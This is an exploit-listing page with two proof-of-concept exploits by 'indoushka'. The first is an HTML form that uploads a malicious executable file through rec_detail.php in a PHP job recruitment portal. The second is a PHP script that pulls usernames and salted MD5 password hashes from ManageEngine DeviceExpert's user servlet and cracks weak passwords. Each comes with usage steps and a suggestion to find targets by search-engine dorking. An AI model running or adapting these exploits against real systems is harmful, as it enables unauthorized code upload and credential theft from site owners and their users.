Latest exploits :: CodePwn

<pre><code>============================================================================================================================================= | # Title : Online Job Recruitment Portal project v1.0 Remote File Upload Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) | | # Vendor : https://www.kashipara.com/project/php/12866/online-job-recruitment-portal-php-project-source-code | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code uploads a executable malicious file remotely . [+] Go to the line 10. [+] Set the target site link Save changes and apply . [+] infected file : rec_detail.php. [+] save code as poc.html . <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Recruitment Form</title> </head> <body> <h1>Recruitment Form</h1> <form action="http://127.0.0.1/Recruitment-Portal-master/rec_detail.php" method="POST" enctype="multipart/form-data">  <label for="photograph">Photograph:</label> <input type="file" id="photograph" name="photograph" required>  <label for="placeofbirth">Place of Birth:</label> <input type="text" id="placeofbirth" name="placeofbirth" required>  <label for="fhname">Father's/Husband's Name:</label> <input type="text" id="fhname" name="fhname" required>  <label for="marital_status">Marital Status:</label> <select id="marital_status" name="marital_status"> <option value="single">Single</option> <option value="married">Married</option> <option value="divorced">Divorced</option> </select>  <label for="Nationality">Nationality:</label> <select id="Nationality" name="Nationality"> <option value="national1">Nationality 1</option> <option value="national2">Nationality 2</option> </select>  <label for="handicapped">Handicapped:</label> <select id="handicapped" name="handicapped"> <option value="yes">Yes</option> <option value="no">No</option> </select>  <label for="religion">Religion:</label> <select id="religion" name="religion"> <option value="religion1">Religion 1</option> <option value="religion2">Religion 2</option> </select>  <label for="blood">Blood Group:</label> <select id="blood" name="blood"> <option value="A+">A+</option> <option value="B+">B+</option> <option value="AB+">AB+</option> <option value="O+">O+</option> <option value="O-">O-</option> </select>  <label for="mark">Identification Mark:</label> <input type="text" id="mark" name="mark" required>  <input type="submit" value="Submit"> </form> </body> </html> [+] http://127.0.0.1/Recruitment-Portal-master/images/.php Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>==================================================================================================================================== | # Title : DeviceExpert v 5.9.7 build 5970 PHP extracts Credentials Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) | | # Vendor : https://manageengine.com/ | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] This PHP COde extracts usernames and salted MD5 password hashes from ManageEngine DeviceExpert version 5.9 build 5980 and prior. [+] LIne 87 set your targer . [+] usage : C:\www\test>php 3.php [+] Payload : <?php class ManageEngineDeviceExpert { private $host; private $port; private $ssl; public function __construct($host, $port = 6060, $ssl = true) { $this->host = $host; $this->port = $port; $this->ssl = $ssl; } private function sendRequest($path) { $url = ($this->ssl ? 'https://' : 'http://') . $this->host . ':' . $this->port . $path; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } public function getUsers() { echo "Reading users from master...\n"; $response = $this->sendRequest('/ReadUsersFromMasterServlet'); if (!$response) { echo "Connection failed\n"; return null; } if (strpos($response, '<discoverydata>') !== false) { preg_match_all('/<discoverydata>(.*?)<\/discoverydata>/', $response, $matches); echo "Found " . count($matches[0]) . " users\n"; return $matches[0]; } else { echo "Could not find any users\n"; return null; } } public function parseUserData($user) { if (!$user) return null; preg_match('/<username>([^<]+)<\/username>/', $user, $username); preg_match('/<password>([^<]+)<\/password>/', $user, $encoded_hash); preg_match('/<userrole>([^<]+)<\/userrole>/', $user, $role); preg_match('/<emailid>([^<]+)<\/emailid>/', $user, $email); preg_match('/<saltvalue>([^<]+)<\/saltvalue>/', $user, $salt); $hash = base64_decode($encoded_hash[1]); $password = null; $weak_passwords = ['12345', 'admin', 'password', $username[1]]; foreach ($weak_passwords as $weak_password) { if (md5($weak_password . $salt[1]) == bin2hex($hash)) { $password = $weak_password; break; } } return [ 'username' => $username[1], 'password' => $password, 'hash' => bin2hex($hash), 'role' => $role[1], 'email' => $email[1], 'salt' => $salt[1] ]; } public function run() { $users = $this->getUsers(); if (!$users) return; foreach ($users as $user) { $user_data = $this->parseUserData($user); if (!$user_data) continue; echo "User: " . $user_data['username'] . "\n"; echo "Password: " . ($user_data['password'] ? $user_data['password'] : 'Not found') . "\n"; echo "Hash: " . $user_data['hash'] . "\n"; echo "Role: " . $user_data['role'] . "\n"; echo "Email: " . $user_data['email'] . "\n"; echo "Salt: " . $user_data['salt'] . "\n"; echo "----------------------------\n"; } } } // استخدام الكلاس $deviceExpert = new ManageEngineDeviceExpert('127.0.0.1'); $deviceExpert->run(); ?> Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>